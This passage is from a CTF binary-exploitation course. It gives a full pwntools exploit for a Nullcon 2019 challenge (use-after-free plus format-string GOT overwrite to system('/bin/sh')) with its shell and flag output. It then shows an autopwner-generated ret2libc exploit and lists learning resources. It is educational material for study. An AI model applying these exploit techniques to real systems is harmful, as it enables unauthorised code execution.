`%7$n`, to write `Y` bytes (for instance `%5x` to write 5 bytes). With all of this, we can write our exploit.

Exploit

Putting it all together, we get the following exploit. Also when I was doing the exploit dev for this one, I'm not sure why but I had some I/O issues. In addition to that, this exploit is dependant on the libc version. So if you have a different libc version, you will need to swap out the libc file in the exploit:

```
from pwn import *

target = process('./challenge')
libc = ELF('./libc-2.27.so')# If you have a different libc version, swap it out
here
#gdb.attach(target)

# function to add books
def addBook(size, price, payload):
    target.sendline('1')
    target.sendline(str(size))
    target.send(payload)
    target.sendline(str(price))
    print target.recvuntil('>')

# function to add books with a null byte in it's name
# for some reason, we need to send an additional byte
def addBookSpc(size, price, payload):
  target.sendline("1")
  target.sendline(str(size))
  target.sendline(payload)
  target.sendline("7")
  target.recvuntil(">")

# this is a function to delete books
def deleteBook(index):
    target.sendline('2')
    target.sendline(str(index))
    target.recvuntil('>')

# add a bunch of books to use late with the use after free
addBook(50, 5, "0"*50)
addBook(50, 5, "1"*50)
addBook(50, 5, "2"*50)
addBook(50, 5, "3"*50)
addBook(50, 5, "4"*50)
addBook(50, 5, "5"*50)
addBook(50, 5, "6"*50)
addBookSpc(50, 5, "/bin/sh\x00") # this book will contain the "/bin/sh" string
to pass a pointer to free
addBook(50, 5, "8"*50)
addBook(50, 5, "9"*50)
addBook(50, 5, "x"*50)
addBook(50, 5, "y"*50)
addBook(50, 5, "9"*50)
addBook(50, 5, "q"*50)


# delete the books, to setup the use after free
deleteBook(0)
deleteBook(1)
deleteBook(2)
```

```
deleteBook(3)
deleteBook(4)
deleteBook(5)
deleteBook(6)
deleteBook(7)
deleteBook(8)
deleteBook(9)
deleteBook(10)
deleteBook(11)
deleteBook(12)
deleteBook(13)
deleteBook(14)


# This is the initial overflow of a pointer with the got address of `puts` to
get the libc infoleak
addBookSpc(50, 5, "15935728"*1 + p64(0x602028) + "z"*8 + "%7$lx.")

# Display all of the books, to get the libc infoleak
target.sendline('3')

# Filter out the infoleak
print target.recvuntil('{')
print target.recvuntil('{')
print target.recvuntil('{')
print target.recvuntil('{')

print target.recvuntil("\"name\": \"")

leak = target.recvuntil("\"")
leak = leak.replace("\"", "")
print "leak is: " + str(leak)
leak = u64(leak + "\x00"*(8 - len(leak)))

# Subtract the offset to system from puts from the infoleak, to get the libc
address of system
libcBase = leak - libc.symbols['puts']
system = libcBase + libc.symbols['system']

print "system address: " + hex(leak)

# do a bit of binary math to get the
part0 = str(system & 0xffff)
part1 = str(((system & 0xffff0000) >> 16))
part2 = str(((system & 0xffff00000000) >> 32))

print "part 0: " + hex(int(part0))
print "part 1: " + hex(int(part1))
print "part 2: " + hex(int(part2))


# Add the three books to do the format string
# We need the 0x602028 address still to not cause a segfault when it prints
```

```
# the got address we are trying to overwrite is at 0x602018

addBookSpc("50", "5", p64(0x60201a) + p64(0x602028) + "z"*8 + "%" + part1 +
"x%7$n")
addBookSpc("50", "5", p64(0x602018) + p64(0x602028) + "z"*8 + "%" + part0 +
"x%7$n")
addBookSpc("50", "5", p64(0x60201c) + p64(0x602028) + "z"*8 + "%" + part2 +
"x%7$n")

# Print the books to execute the format string write
target.sendline('3')

# Free the book with "/bin/sh" to pass a pointer to "/bin/sh" to system
target.sendline('2')
target.sendline('7')

# Drop to an interactive shell
target.interactive()
```

and when we run the remote exploit:

```
$ python exploit.py
[+] Opening connection to pwn.ctf.nullcon.net on port 4002: Done
NullCon Shop
(1) Add book to cart
(2) Remove from cart
(3) View cart
(4) Check out

. . .

$ w
 18:51:13 up 7 days,  3:10,  0 users,  load average: 0.03, 0.13, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
$ ls
challenge
flag
$ cat flag
hackim19{h0p3_7ha7_Uaf_4nd_f0rm4ts_w3r3_fun_4_you}
$ w
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to pwn.ctf.nullcon.net port 4002
```

Just like that, we get the flag `hackim19{h0p3_7ha7_Uaf_4nd_f0rm4ts_w3r3_fun_4_you}`

Custom Tooling

So this writeup is a bit unique when compared to the other writeups. It's mainly to show you about some types of custom tooling that you can make and use to make you better at ctfs.

Just to preface this, generally speaking being a script kiddy is bad. Being a script kiddy generally means that you are using a tool to substitute for a lack of knowledge. A good way to tell the difference is could you make the tool that you are using (unless it is a tool like Ghidra that would take 5 years to make, in which case you have a rough understanding of what it does). If there is a task apart of some work that you do, which you know how to do and have to do that task often, writing a good usable tool to automate that task will flat out make you better able to do that work (assuming it won't take like 10 years to make that tool). Here is an example.

Remenissions

So let's take for instance the challenge `rop` from `csaw20`. This is fairly simple to the challenges from the module `08-bof_dynamic`. It's a simple bof challenge, with the libc provided. To solve it, you just do a buffer overflow of the return address, do a `puts` libc infoleak, call main again, and then re-exploit the buffer overflow bug to return to libc and pop a shell.

Now before hand, the typical workflow for this type of challenge look something like this:

```
0.) Download Challenge
1.) Get Binary Attributes/Mitigations
2.) Run it to see what it does
3.) Load it into Ghidra
4.) Analyze code, find vulnerabilities and alternate win conditions
5.) Look at bugs and things the binary has, decide on attack to attempt
6.) Write exploit script to launch attack
7.) Test it out locally
8.) Run against remote server, get flag and submit it
9.) Fix stupid mistakes made in previous steps
```

Now the thing is, there are a lot of easy ctf challenge types that you will see in most ctfs that aren't extremely (includes buffer overflows, ret2libc/remote libc id, fmt strings, etc.). Because of that I wrote an autopwner called `remenissions` (`https://github.com/guyinatuxedo/remenissions`).

Now instead of the above workflow, imagine if the workflow looked like this:

```
$    remenissions -b rop -l libc-2.27.so
```

and after the autopwner is done:

```
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel
/yama/ptrace_scope)
libc base is: 0x7f64faa2c000


Exploit Successful: exploit-Ret2Libc-0.py


$    ls
libc-2.27.so  readme.md  remenissions-work  rop  verfied-exploit-Ret2Libc-0.py
$    cat verfied-exploit-Ret2Libc-0.py
from pwn import *

import os
import sf
import sys
import signal

target = process("./rop", env={"LD_PRELOAD":"./libc-2.27.so"})
gdb.attach(target)
bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x28)
rop_chain = [4195971, 6295576, 4195488, 4195804]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)
target.recvline()
leak = target.recvuntil(b"\n").strip(b"\n")
puts_address = u64(leak + b"\x00"*(8-len(leak)))
libc_base = puts_address - (526896)
print("libc base is: %s" % hex(libc_base))
bof_payload = sf.BufferOverflow(arch = 64)
bof_payload.add_base("libc", libc_base)
bof_payload.set_input_start(0x28)
bof_payload.set_ret(0x10a45c, "libc")
payload = bof_payload.generate_payload()
target.sendline(payload)

# Exploit Verification starts here 15935728


target.interactive()
$    python3 verfied-exploit-Ret2Libc-0.py
[+] Starting local process './rop': pid 5580
[*] running in new terminal: /usr/bin/gdb -q  "./rop" 5580
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel
/yama/ptrace_scope)
libc base is: 0x7f855384b000
[*] Switching to interactive mode
Hello
$ w
```

```
 12:57:24 up  1:14,  1 user,  load average: 0.63, 0.31, 0.17
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               11:51   ?xdm?   1:52   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
core          readme.md         rop
libc-2.27.so  remenissions-work  verfied-exploit-Ret2Libc-0.py
```

As you can see here, `remenissions` was able to automatically generate a successful exploit. During `csaw20` this is how my team (and a few others) solved this challenge. As of now, the `remenissions` has landed over 100 ctf challenges (in the `remenissions` repo is a link to them)

Now the reason why I'm showing you this isn't to flex. It's to show you how useful good tooling can be. Because I made `remenissions`, there is a good amount of easy ctf pwn challenges (that I've solved dozens of times before) that I can solve with the push of a button. Now `remenissions` itself comprises a lot of different tools, that automate a lot of tasks which make this up. The tools automate tasks such as bug finding with ghidra, remote libc id, dealing with libc linker issues, dynamic analysis to see what the actual memory layout is while running the binary, exploit generation and verification, looking at the bugs/alternate win conditions and choosing an attack, and more. This just goes to give you an idea of some of the things that tools you make can do, and the advantage it can give you (even outside of ctfs, with vuln research work).

What's Next?

So it might feel like you have just watched the twelfth episode a seasonal anime. The season is over. It's finished. No new content left. The knowledge that there will probably not be a second season slowly starts to sink in. The realization that you might have to read the manga. You think for one last time about how great the characters are, how interesting the plot was...

Ok all memes aside, there is a lot more left to do. For starters you can check out `ctftime.org` to see when the next ctf is. Also you can check out some of these other resources:

```
https://github.com/RPISEC/MBE
https://github.com/shellphish/how2heap
https://github.com/ctfs/
https://pwnable.xyz/
https://pwnable.kr/
https://github.com/guyinatuxedo/ctf
https://ctf.hackucf.org/
https://365.csaw.io/
https://pwnable.tw/
https://www.pwnadventure.com/
https://ctf.katsudon.org/ctf4u/
https://google.com
```

Or you could just go out to do vr (vuln research) on real life targets.

In terms for this project, there are areas that I would like to expand upon. However between school / work / other projects, I'm not sure when I will be able to get around to it:

```
Hard Heap Exploitation
Kernel Exploitation
Embedded Exploitation
Windows Exploitation
Game Hacking (pwn adventures)
vtables
```

References / Resources

So while I was learning Binary Exploitation / Reverse Engineering skills, I had to use a lot of different resources. Here are some of the resources I used.

Address Sanitization:

```
https://ray-cp.github.io/archivers/0CTF_2019_PWN_WRITEUP#aegis
```

Calling scanf:

```
https://github.com/bennofs/docs/blob/master/asisfinals-2017/mrshudson.py
```

Unsafe Unlink:

```
https://www.lazenca.net/pages/viewpage.action?pageId=7536654
```

Fast bin attack:

```
https://twisted-fun.github.io/2018-05-24-RCTF18-PWN-317/
https://github.com/sajjadium/ctf-writeups/tree/master/RCTF/2018/babyheap
```

How to use SROP attack:

```
https://www.akashtrehan.com/writeups/backdoorctf17/2funsignals/
```

How to build a ROP Chain:

```
http://hexfact0r.dk/2016/03/06/boston-key-party-ctf-2016-simple-calc/
https://jkrshnmenon.wordpress.com/2018/09/17/csaw-ctf-quals-2018-turtles-writeup
/
https://lordidiot.github.io/2018-09-03/tokyowesterns-ctf-2018-load-pwn/
http://pastebinthehacker.blogspot.com/2017/01/insomnihack-2017-baby.html
```

Reversing mart of the libc `free` function:

```
https://0xabe.io/ctf/exploit/2016/03/07/Boston-Key-Party-pwn-Complex-Calc.html
```

Executing a House of Force Attack:

```
https://www.youtube.com/watch?v=f1wp6wza8ZI
https://www.youtube.com/watch?v=dnHuZLySS6g
https://www.youtube.com/watch?v=PISoSH8KGVI
https://gist.github.com/LiveOverflow/dadc75ec76a4638ab9ea#file-cookbook-py-L20
```

House of Spirit:

```
https://dangokyo.me/2017/12/04/hack-lu-ctf-2014-pwn-oreo-write-up/
```

Reverse Engineering Skills:

```
https://github.com/ByteBandits/writeups/tree/master/bostonkeyparty-2016/reverse
/Alewife/sudhackar
https://github.com/p4-team/ctf/tree/master/2016-03-06-bkpctf
/re_5_Frog_Fractions_2
http://capturetheswag.blogspot.com.au/2015/09/csaw-2015-quals-ftp-re300-
challenge.html
https://quanyang.github.io/csaw-ctf-quals-2016-deedeedee/
https://www.incertia.net/blog/csaw-quals-2016-tar-tar-binks-400/
https://github.com/perfectblue/ctf-writeups/tree/master/insomnihack-teaser-
2019/junkyard
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
```

Angr:

```
https://github.com/elklepo/pwn/blob/master/PlaidCTF_2019/i_can_count/exploit.py
https://github.com/angr/angr-doc/tree/master/examples/securityfest_fairlight
```

Nested Code:

```
https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/BKPCTF
/reversing/unholy
```

Heap Exploitation:

```
http://geeksspeak.github.io/blog/2015/09/21/csaw-2015-pwn250-contacts/
https://github.com/ret2libc/ctfs/tree/master/csaw2016/hungman
https://amritabi0s.wordpress.com/2017/09/18/csaw-quals-2017-zone-writeup/
https://github.com/sajjadium/ctf-writeups/tree/master/CSAWQuals
/2018/alien_invasion
https://raywang.tech/2018/05/14/DEF-CON-Quals-2018-It-s-a-Me/
https://github.com/balsn/ctf_writeup/tree/master/20180512-defconctfqual#race-
wars
https://github.com/EmpireCTF/empirectf/blob/master/writeups/2019-04-12-PlaidCTF
/README.md#150-pwnable--cppp
```

Overflow:

```
http://blog.bitsforeveryone.com/2015/09/writeup-csaw-2015-exploitables-300-
ftp2.html
https://github.com/ctfs/write-ups-2015/tree/master/csaw-ctf-2015/pwn/precision-
100
https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/
https://github.com/Caesurus/CTF_Writeups/tree/master/2017-GoogleCTF_Quals/wiki
```

Obfuscated Reversing:

```
http://ohaithe.re/post/129657401392/csaw-quals-2015-reversing-500-wyvern
```

Emulated Reversing:

```
http://bruce30262.logdown.com/posts/301384--csaw-ctf-2015-hacking-time
```

Integer Bugs:

```
https://devel0pment.de/?p=1191
```

Custom Heap:

```
https://github.com/ByteBandits/writeups/blob/master/csaw-quals-2017/pwn
/minesweeper/sudhackar/README.md
```

Stack Pivot:

```
https://ctftime.org/writeup/11273
```

Python:

```
https://hexplo.it/escaping-the-csawctf-python-sandbox/
```

Arm:

```
http://tasteless.eu/post/2014/09/csaw-2014-quals-wololo-rev300/
https://ctftime.org/writeup/12568
```

Shellcoding:

```
https://ctftime.org/writeup/10040
https://lordidiot.github.io/2019-02-03/nullcon-hackim-ctf-2019/#easy-shell
https://lordidiot.github.io/2019-02-03/nullcon-hackim-ctf-2019/#peasy-shell
```

Exploitation:

```
https://jkrshnmenon.wordpress.com/2018/09/17/csaw-ctf-quals-2018-turtles-writeup
/
http://v0ids3curity.blogspot.in/2014/09/csaw-ctf-quals-2014-s3-exploitation-
300.html
https://github.com/EmpireCTF/empirectf/blob/master/writeups/2019-01-19-Insomni-
Hack-Teaser/README.md#onewrite
```